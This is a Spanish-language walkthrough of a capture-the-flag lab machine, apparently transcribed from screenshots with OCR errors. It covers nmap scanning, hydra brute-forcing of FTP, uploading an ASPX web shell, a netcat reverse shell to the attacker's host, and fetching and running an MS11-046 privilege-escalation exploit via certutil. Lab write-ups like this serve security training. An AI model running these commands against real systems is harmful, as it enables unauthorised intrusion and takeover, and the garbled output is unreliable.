Maiaquina Cocido Andaluz

Reconocimiento

Primero compruebo la IP de la maquina escaneando la red con nmap.

» nmap -sn 192.168.1.0/24
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-22 09:45 CET
Nmap scan report for liveboxfibra (192.168.1.1)
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MAC Address: E4:3E:D7:FF:70:55 (Arcadyan)

Nmap scan report for WIN-JG67MIHZH2X.home (192.168.1.114)

Host 1s up (0.069s latency).

MAC Address: F8:B5:4D:EC:75:E3 (Intel Corporate)

Nmap scan report for Portatil-GIGABYTE.home (192.168.1.126)

Host is up (0.0096s latency).

MAC Address: F8:B5:4D:EC:75:E3 (Intel Corporate)

Nmap scan report for 192.168.1.18

Host is up.

Nmap scan report for DESKTOP-79S9R4A.home (192.168.1.89)

Host is up.

Nmap done: 256 IP addresses (5 hosts up) scanned in 1.91 seconds

Sabiendo la IP, hago un escaneo bastante completo con nmap:

> nmap -sSCV --min-rate 5000 -Pn -n -p- 192.168.1.114 -oN nmap.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-22 09:45 CET

Warning: 192.168.1.114 giving up on port because retransmission cap hit (10).
Stats: 0:01:37 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 99.99% done; ETC: 09:47 (0:00:00 remaining
Nmap scan report for 192.168.1.114

Host is up (0.045s latency).

Not shown: 64720 closed tcp ports (reset), 803 filtered tcp ports (no-response
PORT STATE SERVICE  VERSION

21/tcp open ftp Microsoft ftpd

80/tcp open http Microsoft IIS httpd 7.0

| http-methods:

| Potentially risky methods: TRACE

| _http-server-header: Microsoft-11S/7.0

|_http-title: Apache2 Debian Default Page: It works

135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn  Microsoft Windows netbios-ssn

445/tcp open microsoft-ds?

49152/tcp open msrpc Microsoft Windows RPC

49153/tcp open msrpc Microsoft Windows RPC

49154/tcp open msrpc Microsoft Windows RPC

49155/tcp open msrpc Microsoft Windows RPC

49156/tcp open msrpc Microsoft Windows RPC

49157/tcp open msrpc Microsoft Windows RPC

49158/tcp open msrpc Microsoft Windows RPC
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MAC Address: F8:B5:4D:EC:75:E3 (Intel Corporate

Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
| date: 2025-03-22T08:48:16
_date: 2025-03-22T08:40:17
| nbstat: NetBIOS name: WIN-JG67MIHZH2X, NetBIOS user: <unknown>, NetBIOS MAC: 08:00:27:6b:e9:3b
PCS Systemtechnik/Oracle VirtualBox virtual NIC
| smb2-security-mode:
| 2:0:2:
| Message signing enabled but not required

|_clock-skew: -1s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 166.63 seconds
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Debian Logo

Apache2 Debian Default Page

It works!

This is the default welcome page used to test the correct operation of the Apache2 server after installation on
Debian systems. If you can read this page, it means that the Apache HTTP server installed at this site is working
properly. You should replace this file (located at /var/www/html/index.html) before continuing to operate
your HTTP server.

If you are a normal user of this web site and don't know what this page is about, this probably means that the
site is currently unavailable due to maintenance. If the problem persists, please contact the site's administrator.
Configuration Overview

Debian's Apache2 default configuration is different from the upstream default configuration, and split into
several files optimized for interaction with Debian tools. The configuration system is fully documented in /usr/
share/doc/apache2/README.Debian.gz. Refer to this for the full documentation. Documentation for the web
server itself can be found by accessing the manual if the apache2-doc package was installed on this server.

The configuration layout for an Apache2 web server installation on Debian systems is as follows:
/etc/apachez/
[-- apacheZ2.conf
/ ports.conf
[-- mods-enabled
/ f-- *.load
/ == * conf
[-- conf-enabled
/ -~ * conf
[-- sites-enabled
/ -~ * conf

apache2. conf is the main configuration file. It puts the pieces together by including all remaining
configuration files when starting up the web server.

ports. conf is always included from the main configuration file. It is used to determine the listening
ports for incoming connections, and this file can be customized anytime.

Configuration files in the mods-enabled/, conf-enabled/ and sites-enabled/ directories contain
particular configuration snippets which manage modules, global configuration fragments, or virtual host
configurations, respectively.

They are activated by symlinking available configuration files from their respective *-available/
counterparts. These should be managed by using our helpers a2enmod, a2dismod, a2ensite,
a2dissite, and a2enconf, a2disconf . See their respective man pages for detailed information.

The binary is called apache2. Due to the use of environment variables, in the default configuration,
apache2 needs to be started/stopped with /etc/init.d/apache2 or apache2ctl. Calling fusx/bin/

Hice fuzzing de directorios y archivos pero nada.

Como esta el servicio SMB pruebo con netexec a ver si me saca algo con una NULL session pero no es
el caso.

> nxc smb 192.168.1.114 -u " -p " --shares

SMB 192.168.1.114 445 WIN-JG67MIHZH2X [*] Windows 6.0 Build 6001 x32 (name: WIN-
JG67MIHZH2X) (domain: WIN-JG67TMIHZH2X) (signing:False) (SMBv1:False

SMB 192.168.1.114 445 WIN-JG67TMIHZH2X [+] WIN-JG67TMIHZH2X\:

SMB 192.168.1.114 445 WIN-JG67MIHZH2X |[-]| Error enumerating shares: STATUS ACCESS_DENIED

Sin muchas oportunidades, hago fuerza bruta a ftp usando el wordlist de xato tanto para el usuario como
para la contrasefia: y consigo lo siguiente:




) lhydra -L /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames-dup.txt -P /usr/share/wordlists/seclists/Passwords/xato-net-10-million-passwords-1000000.txt ftp://192.168.1.114

Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these **x ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-03-22 10:08:42

[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 624370000000 login tries (1:624370/p:1000000), ~39023125000 tries per task

[DATA] attacking ftp://192.168.1.114:21/

[STATUS] 3748.00 tries/min, 3748 tries in 00:01h, 624369996252 to do in 2776458:33h, 16 active

[21][ftp] host: 192.168.1.114 login: info password: PolniyPizdec6211

El directorio del ftp tiene toda la pinta de ser el mismo que el del servidor web:

> ftp 192.168.1.114

Connected to 192.168.1.114.

220 Microsoft FTP Service

Name (192.168.1.114:juan): info

331 Password required for info.

Password:

230 User info logged in.

Remote system type is Windows NT.

ftp> 1s

200 PORT command successful.

150 Opening ASCII mode data connection for /bin/Is.

dr--r--r-- 1 owner group 0 Jun 14 2024 aspnet_client
-TWXTWXIWX | owner group 11069 Jun 15 2024 index.html

-TWXIWXrwx 1 owner group 184946 Jun 14 2024 welcome.png

Explotacion

Entonces como estamos ante un Windows, le tenemos que pasar un .aspx para conseguir una shell:

> sudo cp /usr/share/wordlists/seclists/Web-Shells/FuzzDB/cmd.aspx .
sudo| password for juan:
>ls

cmd.aspx [ hydra.restore [ nmap.txt
Lo transferimos con put:

ftp> put cmd.aspx

200 PORT command successful.

150 Opening ASCII mode data connection for cmd.aspx.

226 Transfer complete.

1442 bytes sent in 4.5e-05 seconds (30.6 Mbytes/s

ftp> Is

200 PORT command successful.

150 Opening ASCII mode data connection for /bin/Is.

dr--r--r-- 1 owner group 0 Jun 14 2024 aspnet_client
-TWXTWXIwX | owner group 1442 Mar 22 10:15 cmd.aspx
-TWXIWXIWX 1 owner group 11069 Jun 15 2024 index.html

-TWXTWXIwX | owner group 184946 Jun 14 2024 welcome.png
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Tenemos ejecucion de comandos:

(A Not Secure  192.168.1.114

(O Hacking [ Correo and accounts [(JI1A [Oricing [ Social M

Command: | | | excute |

Configuraci¢n IF de Windows

Command: |ipcenfig | | excute |

Adaptador de Ethernet Conexit¢n de rea local:

Sufijo DMS espec;jfico para la conexic¢n. . : home

Vinculo: direcci¢n IPv6 local. . . : feB@::112d:6567:79a7:2bla%l@
Direccitm IPv4. . . . . . . . . . . . . . [ 192.168.1.114

M scara de subred . . . . . . . . . . . . : 255.255.255.0

Puerta de enlace predeterminada . . . . . : 192.168.1.1

Adaptador de tEnel Conexitn de 1rea local* 8:

Estado de los medios. . . . . . . . . . . : medios desconectados
Sufijo DMS especfico para la conexicCn. . : home

La Windows no tenia nc instalado por lo que me lo comparto usando impacket:

> locate nc.exe

/usr/share/wordlists/seclists/Web-Shells/FuzzDB/nc.exe

> file /usr/share/wordlists/seclists/ Web-Shells/FuzzDB/nc.exe
/usr/share/wordlists/seclists/Web-Shells/FuzzDB/nc.exe: PE32 executable for MS Windows 4.00 (console), Intel
1386, 3 sections

Me abro el servidor

» s

O cmd.aspx [ hydra.restore ®nc.exe [ nmap.txt
> smbserver.py smbFolder $(pwd) -smb

Impacket v0.11.0 - Copyright 2023 Fortra

[*] Config file parsed
[*] Callback added for UUID 4B324F(C8-1670-01D3-1278-5A47BF6EE188
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed

Y ejecuto para que lo ejecute desde el servidor SMB que estoy compartiendo con impacket y me
conceda una reverse shell:

\\192.168.1.89\smbFolder\nc.exe -e cmd 192.168.1.89 4444
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®
rlwrap nc -nlvp 4444
Connection from 192.168.1.114:49180 & X @ © O A NotSecure 192.168.1.114

Microsoft Windows [Versien 6.0.6001]
Copyright (c) 2006 Microsoft Corporation. Reservados todos los derechos. -8 Import bookmarks... [J Cibersecurity [(JHacking [J Correoand accounts (JIA Cricing [J Social Media [

c:\windows\system32\inetsrv> Command: |[\192:168.1.89\smbFolderinc.exe -ecmd | | [excute

) s

D cmd.aspx [ hydra.restore ®nc.exe B nmap.txt
) smbserver.py smbFolder $(pwd) -smb

Impacket v@.11.0 - Copyright 2023 Fortra

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD@98-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed

Config file parsed

Config file parsed

Incoming connection (192.168.1.114,49179)

AUTHENTICATE_MESSAGE (\,WIN-JG67MIHZH2X)

User WIN-JG67MIHZH2X\ authenticated successfully

:::00: :aaaaaaaaaaaaaaaa

Connecting Share(1:IPC$)

Connecting Share(2:smbFolder)

Una vez dentro estamos como info:

c:\Users\info>dir

dir

El volumen de la unidad C no tiene etiqueta.

El n€mero de serie del volumen es: 1CEF-5C5A

Directorio de c:\Users\info

14/06/2024 17:17 <DIR>
14/06/2024 17:17 <DIR>
14/06/2024 17:15 26 user.txt
1 archivos 26 bytes
2 dirs 12.727.590.912 bytes libres

c:\Users\info>type user.txt
type user.txt
hdgrfvvf8s7dreSw7vg23rfewf

Pero no podemos acceder como Administrador.

c:\Users>dir
dir
El volumen de la unidad C no tiene etiqueta.

El n@mero de serie del volumen es: 1CEF-5C5A

Directorio de c:\Users

14/06/2024 17:15 <DIR>




14/06/2024 17:15 <DIR>
14/06/2024 11:32 <DIR> Administrador
14/06/2024 17:17 <DIR> info
19/01/2008 10:40 <DIR> Public

0 archivos 0 bytes

S dirs 12.727.590.912 bytes libres

c:\Users>cd Administrador

cd Administrador

Acceso denegado.

Escalada

| Hice un systeminfo y buscando el kernel en google me sali6 la siguiente vulnerabildad

> searchsploit MS16-032

Exploit Title | Path

Microsoft Windows 7 < 10 /2008 <2012 (x86/x64) - Local Privilege Escalation (M | windows/local/39809.cs
Microsoft Windows 7 < 10 /2008 < 2012 (x86/x64) - Secondary Logon Handle Privil | windows/local/40107.rb
Microsoft Windows 7 < 10 /2008 <2012 R2 (x86/x64) - Local Privilege Escalation | windows/local/39719.ps1
Microsoft Windows 8.1/10 (x86) - Secondary Logon Standard Handles Missing Saniti | windows x86/local/39574.cs

Me basé en el siguiente git: https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS11-046

Lo descargo y me abro un servidor con python:

>ls
ms11-046.exe [] cmd.aspx [] hydra.restore [ nc.exe [ nmap.txt

> python3 -m http.server 80

Ahora con certutil me descargo el recurso desde la Windows:
C:\Windows\Temp>certutil.exe -f -urlcache -split http://192.168.1.89/ms11-046.exe
certutil.exe -f -urlcache -split http://192.168.1.89/ms11-046.exe

sk Fp |@pnea *FF

CertUtil: -URLCache comando completado correctamente.

Lo ejecuto.

C:\Windows\Temp>ms11-046.exe

ms11-046.exe



https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS11-046
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ystem32>

Y somos root:

/indows tem32>whoami
whoami

nt authority\system

\Administrador\Desktop>dir
dir
El volumen de la unidad C no tiene etiqueta.

El n@mero de serie del volumen es: 1CEF-5C5A

Directorio de c:\Users\Administrador\Desktop

/2024 17:17 <DIR>
024 17:17 <DIR>
2024 17:16 29 root.txt
ivos 29 bytes

2 dirs 12.727.050.240 bytes libres

c:\Users\Administrador\Desktop>type root.txt

type root.txt

hdgrfvv45478thrfcdnc7vg2tw44f
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